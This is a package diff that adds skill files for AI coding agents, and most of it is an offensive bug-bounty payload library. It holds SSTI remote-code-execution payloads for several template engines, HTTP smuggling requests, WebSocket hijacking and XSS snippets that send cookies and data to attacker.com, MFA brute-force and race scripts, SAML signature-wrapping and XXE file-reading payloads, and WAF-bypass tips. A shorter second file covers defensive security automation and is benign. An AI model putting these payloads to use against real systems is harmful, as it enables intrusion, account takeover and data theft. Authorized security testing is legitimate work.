opencode-skills-collection 4.0.68 → 4.0.70

package/bundled-skills/security-arsenal/references/details.md

@@ -0,0 +1,540 @@
+# Details (moved from SKILL.md)
+
+> Extended reference content for `security-arsenal`, kept under `references/` so the entrypoint stays within the audit budget.
+
+## SSTI DETECTION PAYLOADS (All Engines)
+
+### Universal Probe (send all, observe which evaluate)
+```
+{{7*7}}        → 49 = Jinja2 (Python) or Twig (PHP)
+${7*7}         → 49 = Freemarker (Java) or Spring EL
+<%= 7*7 %>     → 49 = ERB (Ruby) or EJS (Node.js)
+#{7*7}         → 49 = Mako (Python) or Pebble (Java)
+*{7*7}         → 49 = Spring Thymeleaf
+{{7*'7'}}      → 7777777 = Jinja2 (not Twig — Twig gives 49)
+${"freemarker.template.utility.Execute"?new()("id")}  → Freemarker RCE
+```
+
+### RCE Payloads by Engine
+
+**Jinja2 (Python/Flask/Django):**
+```python
+{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
+{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
+{{''.__class__.__mro__[1].__subclasses__()[396] ('id',shell=True,stdout=-1).communicate()[0].strip()}}
+```
+
+**Twig (PHP/Symfony):**
+```php
+{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
+{{['id']|filter('system')}}
+```
+
+**Freemarker (Java):**
+```
+${"freemarker.template.utility.Execute"?new()("id")}
+<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
+```
+
+**ERB (Ruby on Rails):**
+```ruby
+<%= `id` %>
+<%= system("id") %>
+<%= IO.popen('id').read %>
+```
+
+**Spring Thymeleaf:**
+```java
+${T(java.lang.Runtime).getRuntime().exec('id')}
+__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x
+```
+
+**EJS (Node.js):**
+```javascript
+<%= process.mainModule.require('child_process').execSync('id') %>
+```
+
+### Where to Test
+```
+Name/bio/username fields, email subject templates, invoice/PDF generators,
+URL path parameters reflected in page, error messages, search query reflections,
+HTTP headers that appear in rendered responses, notification templates
+```
+
+---
+
+
+## HTTP SMUGGLING PAYLOADS
+
+### CL.TE — Content-Length front-end, Transfer-Encoding back-end
+```http
+POST / HTTP/1.1
+Host: target.com
+Content-Length: 13
+Transfer-Encoding: chunked
+
+0
+
+SMUGGLED
+```
+
+### TE.CL — Transfer-Encoding front-end, Content-Length back-end
+```http
+POST / HTTP/1.1
+Host: target.com
+Transfer-Encoding: chunked
+Content-Length: 3
+
+8
+SMUGGLED
+0
+
+
+```
+
+### TE.TE — Both support Transfer-Encoding, obfuscate to disable one
+```http
+# Obfuscate the TE header so one layer ignores it
+Transfer-Encoding: xchunked
+Transfer-Encoding: chunked
+Transfer-Encoding: chunked
+Transfer-Encoding: x
+
+Transfer-Encoding:[tab]chunked
+[space]Transfer-Encoding: chunked
+X: X[\n]Transfer-Encoding: chunked
+Transfer-Encoding
+: chunked
+```
+
+### H2.CL — HTTP/2 front-end with Content-Length injection
+```
+# In Burp Repeater, switch to HTTP/2
+# Add Content-Length header manually (not auto-set by HTTP/2)
+# Front-end ignores CL (HTTP/2 uses :content-length pseudo-header)
+# Back-end uses CL → desync
+```
+
+### Detection (Burp)
+```
+1. Install HTTP Request Smuggler extension
+2. Right-click request → Extensions → HTTP Request Smuggler → Smuggle probe
+3. All four probe types automatically sent
+4. ~10-second timeout on CL.TE probe = back-end waiting = CONFIRMED
+```
+
+### Impact Chain
+```
+Basic desync          → Capture victim's next request → Read their auth token
++ Admin user traffic  → Access admin as victim
++ Cache poisoning     → Stored XSS at scale for all users
+```
+
+---
+
+
+## WEBSOCKET PAYLOADS
+
+### IDOR / Auth Bypass
+```javascript
+// Test: subscribe to other user's channel
+{"action": "subscribe", "channel": "user_VICTIM_ID_HERE"}
+{"action": "get_history", "userId": "VICTIM_UUID"}
+{"action": "getProfile", "id": 2}
+{"action": "admin.listUsers"}
+{"action": "admin.getToken", "userId": "1"}
+```
+
+### Cross-Site WebSocket Hijacking (CSWSH)
+```html
+<!-- Host on attacker site. If no Origin validation, steals victim's WS data. -->
+<script>
+var ws = new WebSocket('wss://target.com/ws');
+// Browser automatically sends victim's cookies
+ws.onopen = () => ws.send(JSON.stringify({action:"getProfile"}));
+ws.onmessage = (e) => fetch('https://attacker.com/?d='+encodeURIComponent(e.data));
+</script>
+```
+
+### Test Origin Validation
+```bash
+# Should reject non-target origins. If it doesn't = CSWSH vulnerability
+wscat -c "wss://target.com/ws" -H "Origin: https://evil.com"
+wscat -c "wss://target.com/ws" -H "Origin: null"
+wscat -c "wss://target.com/ws" -H "Origin: https://target.com.evil.com"
+```
+
+### Injection via WS Messages
+```javascript
+// XSS in chat/notification system
+{"message": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"}
+
+// SQLi
+{"action": "search", "query": "' OR 1=1--"}
+
+// SSRF (if server fetches URLs from messages)
+{"action": "preview", "url": "http://169.254.169.254/latest/meta-data/"}
+```
+
+---
+
+
+## MFA / 2FA BYPASS PAYLOADS
+
+### Pattern 1: OTP Brute Force (no rate limit)
+```bash
+# Try all 6-digit OTPs
+ffuf -u "https://target.com/api/verify-otp" \
+  -X POST \
+  -H "Content-Type: application/json" \
+  -H "Cookie: session=YOUR_SESSION" \
+  -d '{"otp":"FUZZ"}' \
+  -w <(seq -w 000000 999999) \
+  -fc 400,429 \
+  -t 5
+
+# Rate limit bypass: rotate session tokens between requests
+# Or use GraphQL batching to send 100 attempts per request
+```
+
+### Pattern 2: OTP Reuse (token not invalidated)
+```
+1. Request OTP → receive "123456"
+2. Submit OTP correctly → authenticated
+3. Log out
+4. Log in again
+5. Submit same OTP "123456" (expired? still works?)
+6. Try OTP from previous session at new login
+```
+
+### Pattern 3: Response Manipulation
+```
+Step 1: Enter wrong OTP → intercept response in Burp
+Step 2: Change: {"success": false, "message": "Invalid OTP"} → {"success": true}
+Step 3: Forward modified response → sometimes app trusts it and proceeds
+Also try: change status code 401 → 200, or change redirect from /failed to /dashboard
+```
+
+### Pattern 4: Code Predictability
+```python
+import requests, time
+
+# Some implementations use timestamp-based OTPs:
+for t_offset in range(-30, 31):  # Test ±30 seconds
+    totp_value = generate_totp(secret, time.time() + t_offset)
+    r = requests.post("https://target.com/api/mfa", json={"otp": totp_value})
+    if r.status_code == 200:
+        print(f"VALID at offset {t_offset}s: {totp_value}")
+        break
+```
+
+### Pattern 5: Backup Codes Not Rate Limited
+```bash
+# Backup codes are typically 8-character alphanumeric = smaller space than 6-digit TOTP
+# Try brute force on /api/verify-backup-code if no rate limit
+```
+
+### Pattern 6: Skip MFA Step (Workflow Bypass)
+```bash
+# After entering username/password, you get a session cookie
+# Test: skip the /mfa/verify step entirely, go directly to /dashboard
+# If cookie grants access before MFA = auth flow bypass
+
+# Also: complete MFA in one session, reuse cookie in another browser
+# Checks whether MFA completion is tied to the specific session
+```
+
+### Pattern 7: Race on MFA Verification
+```python
+import asyncio, aiohttp
+
+# Race 2 MFA verifications simultaneously
+# If both succeed = parallel session ATO
+async def verify(session, otp):
+    async with session.post("https://target.com/api/mfa/verify",
+                            json={"otp": otp}) as r:
+        return await r.json()
+
+async def race():
+    async with aiohttp.ClientSession(cookies={"session": "YOUR_SESSION"}) as s:
+        results = await asyncio.gather(verify(s, "123456"), verify(s, "123456"))
+        print(results)
+
+asyncio.run(race())
+```
+
+---
+
+
+## SAML ATTACKS
+
+### Attack 1: XML Signature Wrapping (XSW)
+```xml
+<!-- Original valid assertion: -->
+<saml:Assertion ID="legit">
+  <NameID>user@company.com</NameID>
+  <ds:Signature>VALID_SIGNATURE_OVER_legit</ds:Signature>
+</saml:Assertion>
+
+<!-- XSW: Inject malicious assertion before/after the signed one. -->
+<!-- Server validates signature on #legit but processes #evil instead. -->
+<saml:Response>
+  <saml:Assertion ID="evil">
+    <NameID>admin@company.com</NameID>     <!-- Attacker-controlled -->
+  </saml:Assertion>
+  <saml:Assertion ID="legit">              <!-- Original stays valid -->
+    <NameID>user@company.com</NameID>
+    <ds:Signature>VALID_SIGNATURE</ds:Signature>
+  </saml:Assertion>
+</saml:Response>
+```
+
+### Attack 2: Comment Injection in NameID
+```xml
+<!-- Original: user@company.com -->
+<!-- Injected:  -->
+<NameID>admin<!---->@company.com</NameID>
+<!-- XML parsers strip comments: admin@company.com -->
+<!-- SAML validator sees "user@company.com" (before comment) -->
+<!-- Application uses "admin@company.com" (after comment stripped) -->
+```
+
+### Attack 3: Signature Stripping
+```
+1. Capture SAMLResponse (base64 decode from browser)
+2. Remove or modify the <Signature> element entirely
+3. Change NameID to admin@company.com
+4. Re-encode and submit
+5. If server doesn't validate signature presence = admin login
+```
+
+### Attack 4: XXE in SAML Assertion
+```xml
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
+<saml:Response>
+  <saml:Assertion>
+    <NameID>&xxe;</NameID>
+  </saml:Assertion>
+</saml:Response>
+```
+
+### Tools
+```bash
+# SAMLRaider (Burp extension) — most automated XSW testing
+# Install from BApp Store, intercept SAMLResponse, right-click → SAML Raider
+
+# Manual: decode, modify, re-encode
+echo "BASE64_SAML_RESPONSE" | base64 -d | xmllint --format - > saml.xml <!-- security-allowlist: documented payload decoding technique reference, do not execute outside authorized scope -->
+# Edit saml.xml
+cat saml.xml | base64 -w0  # Re-encode
+```
+
+---
+
+
+## GF PATTERN NAMES (tomnomnom/gf)
+
+```bash
+# Install: https://github.com/tomnomnom/gf
+# Usage: cat urls.txt | gf PATTERN
+
+gf xss          # XSS parameters
+gf ssrf         # SSRF parameters
+gf idor         # IDOR parameters
+gf sqli         # SQL injection parameters
+gf redirect     # Open redirect parameters
+gf lfi          # Local file inclusion
+gf rce          # Remote code execution parameters
+gf ssti         # Template injection parameters
+gf debug_logic  # Debug/logic parameters
+gf secrets      # Secret/token patterns
+gf upload-fields # File upload parameters
+gf cors         # CORS-related parameters
+```
+
+---
+
+
+## ALWAYS REJECTED — NEVER SUBMIT
+
+Submitting these destroys your validity ratio. N/A hurts. Don't.
+
+```
+Missing CSP / HSTS / X-Frame-Options / other security headers
+Missing SPF / DKIM / DMARC
+GraphQL introspection alone (no auth bypass, no IDOR)
+Banner / version disclosure without a working CVE exploit
+Clickjacking on non-sensitive pages (no sensitive action in PoC)
+Tabnabbing
+CSV injection (no actual code execution shown)
+CORS wildcard (*) without credential exfil PoC
+Logout CSRF
+Self-XSS (only exploits own account)
+Open redirect alone (no ATO chain, no OAuth code theft)
+OAuth client_secret in mobile app (disclosed, expected)
+SSRF with DNS callback only (no internal service access)
+Host header injection alone (no password reset poisoning PoC)
+Rate limit on non-critical forms (login page Cloudflare, search, contact)
+Session not invalidated on logout
+Concurrent sessions allowed
+Internal IP address in error message
+Mixed content (HTTP resources on HTTPS page)
+SSL weak cipher suites
+Missing HttpOnly / Secure cookie flags alone
+Broken external links
+Pre-account takeover (usually — requires very specific conditions)
+Autocomplete on password fields
+```
+
+---
+
+
+## CONDITIONALLY VALID — REQUIRES CHAIN
+
+These are valid ONLY when combined with a chain that proves real impact:
+
+| Standalone Finding | Chain Required | Result if Chained |
+|---|---|---|
+| Open redirect | + OAuth code theft via redirect_uri abuse | ATO (Critical) |
+| Clickjacking | + sensitive action + working PoC (not just login) | Medium |
+| CORS wildcard | + credentialed request exfils user data | High |
+| CSRF | + sensitive action (transfer funds, change email) | High |
+| Rate limit bypass | + OTP/token brute force succeeding | Medium/High |
+| SSRF DNS-only | + internal service access + data retrieval | Medium |
+| Host header injection | + password reset email uses it | High |
+| Prompt injection | + reads other user's data (IDOR) OR exfil OR RCE | High |
+| S3 bucket listing | + JS bundles with API keys/OAuth secrets | Medium/High |
+| Self-XSS | + CSRF to trigger it on victim | Medium |
+| Subdomain takeover | + OAuth redirect_uri registered at that subdomain | Critical |
+| GraphQL introspection | + auth bypass mutation or IDOR on node() | High |
+
+**Rule:** Build the chain first, confirm it works end-to-end, THEN report. Never report A and say "could chain with B" — prove it.
+
+---
+
+
+## WORDLISTS (Installed in ~/wordlists/)
+
+```
+common.txt         # Common directories and files
+params.txt         # Parameter names (id, user_id, file, etc.)
+api-endpoints.txt  # API endpoint paths (/api/v1/users, etc.)
+dirs.txt           # Directory names
+sensitive.txt      # Sensitive paths (.env, config.json, backup, etc.)
+```
+
+### Built-in Paths Worth Fuzzing
+
+```bash
+# Sensitive files
+/.env
+/.git/config
+/config.json
+/credentials.json
+/backup.sql
+/dump.sql
+/.DS_Store
+/robots.txt
+/sitemap.xml
+/.well-known/security.txt
+
+# Admin panels
+/admin
+/admin/login
+/administrator
+/wp-admin
+/manager
+/console
+/dashboard
+/panel
+
+# API discovery
+/api
+/api/v1
+/api/v2
+/graphql
+/graphiql
+/swagger
+/swagger-ui.html
+/api-docs
+/openapi.json
+/v1
+/v2
+```
+
+---
+
+
+## Related Skills & Chains
+
+- **`hunt-xss`** / **`hunt-ssrf`** / **`hunt-sqli`** / **`hunt-ssti`** / **`hunt-idor`** — When a hunter is actively testing a parameter and needs payloads. Workflow primitive: this skill is the payload library those hunt-* skills reach for; the hunt-* skill identifies the sink, this skill provides the syntax.
+- **`triage-validation`** — When deciding if a finding is reportable at all. Workflow primitive: the "Always Rejected" and "Conditionally Valid — Requires Chain" tables in both skills must agree; `triage-validation` runs the 7-Question Gate, this skill provides the chain-required mapping used by Q7.
+- **`web2-recon`** — When the URL set has been classified by `gf` patterns. Workflow primitive: `gf xss/ssrf/sqli` outputs from recon → look up the corresponding payload section here; `gf` pattern names index directly into this skill's payload sections.
+- **`evidence-hygiene`** — When a payload produces output worth screenshotting. Workflow primitive: after a payload demonstrates impact (cookie theft, data exfil), hand off to `evidence-hygiene` for redaction before the screenshot becomes evidence.
+- **`bb-methodology`** — When Phase 3 (Discovery) routes by input type. Workflow primitive: Phase 3's decision flow ("ID param → IDOR checklist", "URL input → SSRF checklist") names which section of this arsenal to load.
+
+---
+
+
+## Operator Notes (Claude-BugHunter)
+
+> Engagement-derived + 2026-specific additions to the vendored foundation.
+> Wisdom from real authorized engagements + Phase 2 verification across
+> this repo's 31+ skill-area live tests. The upstream payload library
+> covers the WHAT; this layer covers the WHEN-IT-WORKS-vs-WHEN-IT-DOESN'T.
+
+### Payload freshness — what's gone stale by 2026
+
+The classic CL.TE / TE.CL HTTP smuggling payloads no longer work against Nginx ≥ 1.21, Caddy 2.x, Envoy ≥ 1.20 (verified in Phase 2H). They DO still work against HAProxy ≤ 2.4, older F5 BIG-IP, Citrix ADC, AWS ALB-specific configs, and Apache Traffic Server. Fingerprint the front-end first — `curl -sI` → `Server:` header + `Via:` chain + TLS JA3 — before burning hours on payloads that the parser already rejects at the front door.
+
+Same story for XXE classic — Python lxml ≥ 5.x silently drops SYSTEM entities by default (Phase 2G finding). The payloads remain valid against: Java SAX, PHP DOMDocument with LIBXML_NOENT, .NET XmlDocument with XmlResolver still wired, older lxml (< 5.0), Ruby Nokogiri with DTDLOAD, and a long tail of embedded XML processors (SOAP libraries, SAML implementations, Office document parsers). The payload library still ships these — the operator decision is whether the target's parser is in the still-vulnerable set.
+
+Other stale-by-default-but-not-everywhere payloads as of 2026: `javascript:` URLs in `<a href>` (Chrome blocks unless explicit user gesture; works in embedded WebViews, Electron, older Edge); `data:text/html` for top-level navigation (modern browsers strip in nav contexts); CRLF injection in `Location:` (most reverse proxies normalize). Always test in the actual target environment, not in a generic browser.
+
+### WAF evaluation order matters
+
+When multiple bypass payloads exist for the same WAF, the order to try is:
+
+1. **Encoding tricks** — case variation (`SeLeCt`), URL-encode once, URL-encode twice, Unicode escape (`<`), HTML-entity (`&#x3c;`), UTF-8 overlong sequences.
+2. **Parser quirks** — XML namespace, JSON `\u` escapes mid-keyword, `Content-Type: application/json` vs `application/x-www-form-urlencoded` parser-confusion, multipart boundary tricks.
+3. **Protocol-level** — HTTP/2 vs HTTP/1.1 (some WAFs only inspect one), Host header injection, `X-Original-URL`, `X-Forwarded-*` smuggling.
+4. **WAF rule-specific bypasses** — Cloudflare, AWS WAF, Akamai, Imperva, F5 ASM each have known signature gaps; load the vendor-specific payload subsection.
+
+Most engagements end at step 2 — modern WAFs trip on the parser-quirk class because the WAF and the origin app disagree on what's a "valid" request.
+
+### OOB-Or-It-Didn't-Happen Gate applies everywhere
+
+Every blind primitive (blind SQLi, blind XSS, blind SSRF, blind RCE, blind XXE) needs OOB confirmation. Without it, you can't tell the bug from a parser-error log. Phase 2D's hardened lab proved the gate kills FPs that look identical to real bugs at the surface — error messages with `you have an error in your SQL syntax` text in a 500 page can be parser logs from a different request entirely, hit a Burp Collaborator domain (or interactsh) and confirm callback before filing.
+
+OOB callback infrastructure ranking by 2026: (1) Burp Collaborator (Pro license; cleanest), (2) interactsh-client (open source; comparable), (3) DNSLog.cn (free but logged by third party — never use for paid engagements), (4) self-hosted catch-all DNS + HTTP listener (most reliable for long-running engagements).
+
+### Marker discipline
+
+Generic words appear naturally in target content. A search for `javascript` hitting "JavaScript Tutorial" is not reflection — it's keyword overlap. Use unique random strings:
+
+```
+m=$(head -c 12 /dev/urandom | base64 | tr -d '+/=' | head -c 12)
+# now m is like "K7gXq2pNRm1z" — search for THIS in the response
+curl "https://target/search?q=${m}" | grep -c "$m"
+```
+
+If the marker appears in the response, you have reflection. If it appears unescaped in HTML context, you have XSS potential. If it appears in a Location header, redirect. If it appears in a SQL error, injection. The marker is the single source of truth — generic keywords lie.
+
+### Statistical Sampling for noisy oracles
+
+Single-trial timing differentials are noise. Require n≥10 interleaved trials, Welch's t-statistic > 3, or equivalent confidence-interval separation. Phase 2D verified this against a deliberately-noisy timing oracle: single trial showed 129ms delta (which would have been filed); n=10 showed mean 78ms vs 191ms with t=5.26 (real, well-supported).
+
+Skeleton for timing-side-channel validation:
+
+```python
+import statistics
+def welch_t(a, b):
+    ma, mb = statistics.mean(a), statistics.mean(b)
+    va, vb = statistics.variance(a), statistics.variance(b)
+    return (ma - mb) / ((va/len(a) + vb/len(b)) ** 0.5)
+# interleave control + test trials, n=10 each, t > 3 = signal
+```
+
+Same rule applies to blind boolean oracles where the diff is response-length or status-code under jitter — sample, don't assume.
+

package/bundled-skills/security-automation/SKILL.md

@@ -0,0 +1,146 @@
+---
+name: security-automation
+description: Automate security workflows and remediation. Build security pipelines,
+  automate compliance checks, and implement SOAR capabilities. Use when scaling security
+  operations or implementing DevSecOps.
+category: security
+risk: critical
+source: https://github.com/BagelHole/DevOps-Security-Agent-Skills
+source_repo: BagelHole/DevOps-Security-Agent-Skills
+source_type: community
+date_added: '2026-09-20'
+license: MIT
+license_source: https://github.com/BagelHole/DevOps-Security-Agent-Skills/blob/main/LICENSE
+compatibility: Requires the relevant security tooling (scanners, vault CLIs) and an
+  authorized scope for any active assessment. Docs-only; helper scripts and templates
+  not bundled.
+metadata:
+  author: devops-skills
+  version: '1.0'
+---
+
+# Security Automation
+
+Automate security operations for scale and efficiency.
+
+## Security Pipeline
+
+```yaml
+# .github/workflows/security.yml
+name: Security Pipeline
+
+on: [push, pull_request]
+
+jobs:
+  security:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      
+      - name: Secret Scanning
+        uses: trufflesecurity/trufflehog@main
+        
+      - name: SAST
+        uses: returntocorp/semgrep-action@v1
+        
+      - name: Dependency Scan
+        run: npm audit --audit-level=high
+        
+      - name: Container Scan
+        uses: aquasecurity/trivy-action@master
+        with:
+          scan-type: 'fs'
+          
+      - name: Compliance Check
+        run: |
+          checkov -d . --framework terraform
+```
+
+## Automated Remediation
+
+```python
+# Auto-remediation script
+def remediate_public_s3(bucket_name):
+    """Remove public access from S3 bucket."""
+    s3 = boto3.client('s3')
+    s3.put_public_access_block(
+        Bucket=bucket_name,
+        PublicAccessBlockConfiguration={
+            'BlockPublicAcls': True,
+            'IgnorePublicAcls': True,
+            'BlockPublicPolicy': True,
+            'RestrictPublicBuckets': True
+        }
+    )
+```
+
+## SOAR Integration
+
+```yaml
+playbook:
+  name: Suspicious Login Response
+  trigger: alert.type == "suspicious_login"
+  actions:
+    - enrich_ip:
+        source: threat_intel
+    - if_condition: ip.is_malicious
+      then:
+        - block_ip:
+            firewall: cloudflare
+        - disable_user:
+            duration: 1h
+        - notify:
+            channel: security
+        - create_ticket:
+            priority: high
+```
+
+## Compliance as Code
+
+```python
+# Checkov custom check
+from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck
+
+class S3Encryption(BaseResourceCheck):
+    def __init__(self):
+        name = "Ensure S3 bucket has encryption enabled"
+        id = "CUSTOM_S3_1"
+        supported_resources = ['aws_s3_bucket']
+        super().__init__(name=name, id=id, ...)
+    
+    def scan_resource_conf(self, conf):
+        if 'server_side_encryption_configuration' in conf:
+            return CheckResult.PASSED
+        return CheckResult.FAILED
+```
+
+## Best Practices
+
+- Start with high-impact automations
+- Test in staging first
+- Include manual review gates
+- Monitor automation effectiveness
+- Regular rule updates
+
+## Related Skills
+
+- github-actions (`github-actions`) - CI/CD automation
+- policy-as-code (`policy-as-code`) - Policy enforcement
+
+## When to Use
+
+- You need the security workflow covered by this skill (secrets, scanning, network defense, operations, AI security) inside an authorized scope.
+
+## Limitations
+
+- Apply guidance only within authorized scope; test destructive steps in non-production first.
+- Docs-only import: upstream scripts and templates not bundled.
+
+### Example
+
+```bash
+# Read-only first: inventory before any active step.
+which <tool> && <tool> --help | head -n 20
+```
+
+> Adapted from [BagelHole/DevOps-Security-Agent-Skills](https://github.com/BagelHole/DevOps-Security-Agent-Skills) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: helper scripts and templates not bundled.